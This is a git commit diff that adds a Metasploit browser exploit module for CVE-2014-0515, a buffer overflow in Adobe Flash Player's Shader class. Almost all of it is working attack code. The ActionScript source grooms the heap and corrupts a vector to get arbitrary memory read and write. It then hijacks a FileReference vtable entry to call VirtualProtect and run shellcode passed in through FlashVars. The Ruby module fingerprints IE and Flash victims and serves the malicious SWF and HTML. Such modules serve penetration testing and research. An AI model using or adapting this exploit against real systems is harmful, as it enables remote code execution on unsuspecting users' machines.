Add module for CVE-2014-0515
parent
a8e7dc8ec5
commit
5fd732d24a
Binary file not shown.
|
@ -0,0 +1,410 @@
|
|||
package {
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.display.Shader;
|
||||
import flash.system.Capabilities;
|
||||
import flash.net.FileReference;
|
||||
import flash.utils.Endian;
|
||||
import __AS3__.vec.Vector;
|
||||
import __AS3__.vec.*;
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Graph extends Sprite {
|
||||
|
||||
static var counter:uint = 0;
|
||||
|
||||
protected var Shad:Class;
|
||||
var shellcode_byte_array:ByteArray;
|
||||
var aaab:ByteArray;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Graph(){
|
||||
var tweaked_vector:* = undefined;
|
||||
var tweaked_vector_address:* = undefined;
|
||||
var shader:Shader;
|
||||
var flash_memory_protect:Array;
|
||||
var code_vectors:Array;
|
||||
var address_code_vector:uint;
|
||||
var address_shellcode_byte_array:uint;
|
||||
this.Shad = Graph_Shad;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
var j:* = 0;
|
||||
|
||||
// Just one try
|
||||
counter++;
|
||||
if (counter > 1)
|
||||
{
|
||||
return;
|
||||
};
|
||||
|
||||
// Memory massage
|
||||
var array_length:uint = 0x10000;
|
||||
var vector_size:uint = 34;
|
||||
var array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(vector_size);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i].length = 0;
|
||||
i++;
|
||||
};
|
||||
i = 0x0200;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[(i - (2 * (j % 2)))].length = 0x0100;
|
||||
i = (i + 28);
|
||||
j++;
|
||||
};
|
||||
|
||||
// Overflow and Search for corrupted vector
|
||||
var corrupted_vector_idx:uint;
|
||||
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
||||
shadba.position = 232;
|
||||
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
||||
{
|
||||
shadba.writeUnsignedInt(2472);
|
||||
};
|
||||
shadba.position = 0;
|
||||
while (1)
|
||||
{
|
||||
shader = new Shader();
|
||||
try
|
||||
{
|
||||
shader.byteCode = (new this.Shad() as ByteArray);
|
||||
} catch(e)
|
||||
{
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
if (array[i].length > 0x0100)
|
||||
{
|
||||
corrupted_vector_idx = i;
|
||||
break;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
if (i != array_length)
|
||||
{
|
||||
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
||||
};
|
||||
array.push(new Vector.<int>(vector_size));
|
||||
};
|
||||
|
||||
// Tweak the vector following the corrupted one
|
||||
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
||||
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
||||
|
||||
// repair the corrupted vector by restoring its
|
||||
// vector object pointer and length
|
||||
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
||||
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
||||
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
||||
i = 0;
|
||||
var val:uint;
|
||||
while (true)
|
||||
{
|
||||
val = tweaked_vector[(0x40000000 - i)];
|
||||
if (val == 0x90001B) break;
|
||||
i++;
|
||||
};
|
||||
tweaked_vector_address = 0;
|
||||
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
||||
{
|
||||
tweaked_vector[4] = 0x41414141;
|
||||
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
||||
};
|
||||
|
||||
// More memory massage, fill an array of FileReference objects
|
||||
var file_reference_array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i] = new FileReference();
|
||||
i++;
|
||||
};
|
||||
|
||||
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
||||
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
||||
var do_it:Boolean = true;
|
||||
var memory_protect_ptr:uint;
|
||||
var aaaq:uint;
|
||||
if (do_it)
|
||||
{
|
||||
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
||||
memory_protect_ptr = flash_memory_protect[0];
|
||||
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
||||
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(code_vectors);
|
||||
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
||||
tweaked_vector[4] = aaaq;
|
||||
tweaked_vector[0] = 0x1000; // Length
|
||||
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
||||
|
||||
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
||||
|
||||
// 1) Set memory as executable
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// 2) Execute shellcode
|
||||
tweaked_vector[7] = address_code_vector;
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// Restore FileReference cancel function pointer
|
||||
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
||||
};
|
||||
}
|
||||
|
||||
// returns the integer at memory address
|
||||
// vector: vector with tweaked length
|
||||
// vector_address: vector's memory address
|
||||
// address: memory address to read
|
||||
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
||||
if (address >= vector_address)
|
||||
{
|
||||
return (vector[((address - vector_address) / 4)]);
|
||||
};
|
||||
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
||||
}
|
||||
|
||||
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
||||
if (address >= vector_address)
|
||||
{
|
||||
vector[((address - vector_address) / 4)] = value;
|
||||
} else
|
||||
{
|
||||
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
||||
};
|
||||
}
|
||||
|
||||
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
||||
var content:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
var index:uint;
|
||||
var memory_protect_ptr:uint;
|
||||
var _local_6:uint;
|
||||
if (allocation >= vector_address)
|
||||
{
|
||||
index = ((allocation - vector_address) / 4);
|
||||
} else
|
||||
{
|
||||
index = (0x40000000 - ((vector_address - allocation) / 4));
|
||||
};
|
||||
|
||||
//push 1 ; 6a 01
|
||||
//push dword ptr [eax-8] ; ff 70 f8
|
||||
//push dword ptr [eax-4] ; ff 70 fc
|
||||
//call sub_1059DD00 // Will do VirtualProtect
|
||||
var offset:uint;
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0xfff870ff)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
if (content == 0xf870ff01)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
if (content == 0x70ff016a)
|
||||
{
|
||||
content = vector[(index + 1)];
|
||||
if (content == 0xfc70fff8)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
} else
|
||||
{
|
||||
if (content == 0x70fff870)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
||||
index--;
|
||||
var content_before:uint = vector[index];
|
||||
|
||||
if (content_before == 0x16a0424)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x6a042444)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x424448b)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0xff016a04)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
_local_6 = (memory_protect_ptr - 6);
|
||||
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0x850ff50)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFFFF00);
|
||||
if (content == 0x50FF5000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xcc48308)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFF0000);
|
||||
if (content == 0xFF500000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xc4830850)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
content = (content & 0xFF000000);
|
||||
if (content == 0x50000000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x830850ff)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
}
|
||||
|
||||
// vector: vector with tweaked length
|
||||
// address: memory address of vector data
|
||||
function find_file_ref_vtable(vector:*, address:*):uint{
|
||||
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
||||
|
||||
// Find an allocation of size 0x2a0
|
||||
var allocation_size:uint;
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
||||
if (allocation_size == 0x2a0) break;
|
||||
if (allocation_size < 0x2a0)
|
||||
{
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
} else
|
||||
{
|
||||
allocation = (allocation - 0x24); // prior allocation
|
||||
};
|
||||
};
|
||||
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
||||
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
||||
};
|
||||
return (allocation_contents);
|
||||
}
|
||||
|
||||
// Returns pointer to the nops in one of the allocated code vectors
|
||||
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
||||
var allocation_size:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
||||
if (allocation_size == 0x7f0) break; // Code Vector found
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
};
|
||||
|
||||
// allocation contents should be the vector code, search for the mark 0x45454545
|
||||
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
||||
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
||||
};
|
||||
return ((allocation_contents + 0x2c));
|
||||
}
|
||||
|
||||
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
||||
function createCodeVectors(mark:uint, nops:uint){
|
||||
var code_vectors_array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while (i < 8)
|
||||
{
|
||||
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
||||
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
||||
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
||||
i++;
|
||||
};
|
||||
return (code_vectors_array);
|
||||
}
|
||||
|
||||
|
||||
// Fill with the code vectors with the shellcode
|
||||
function fillCodeVectors(array_code_vectors:Array) {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < array_code_vectors.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,10 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data", mimeType="application/octet-stream")]
|
||||
public class Graph_Shad extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -93,7 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
print_status("showme the money")
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player Shader Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the flash.Display.Shader class, when setting specially
|
||||
crafted data as its bytecode, as exploited in the wild in April 2014. This module
|
||||
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
|
||||
Windows XP SP3, Windows 7 SP1 and Windows 8.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0515'],
|
||||
['BID', '67092'],
|
||||
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
|
||||
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => stack_adjust
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false,
|
||||
'EXITFUNC' => "thread"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 28 2014",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def stack_adjust
|
||||
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
|
||||
adjust
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
flash_payload = ""
|
||||
get_payload(cli,target_info).unpack("V*").each do |i|
|
||||
flash_payload << "0x#{i.to_s(16)},"
|
||||
end
|
||||
flash_payload.gsub!(/,$/, "")
|
||||
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=flash_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue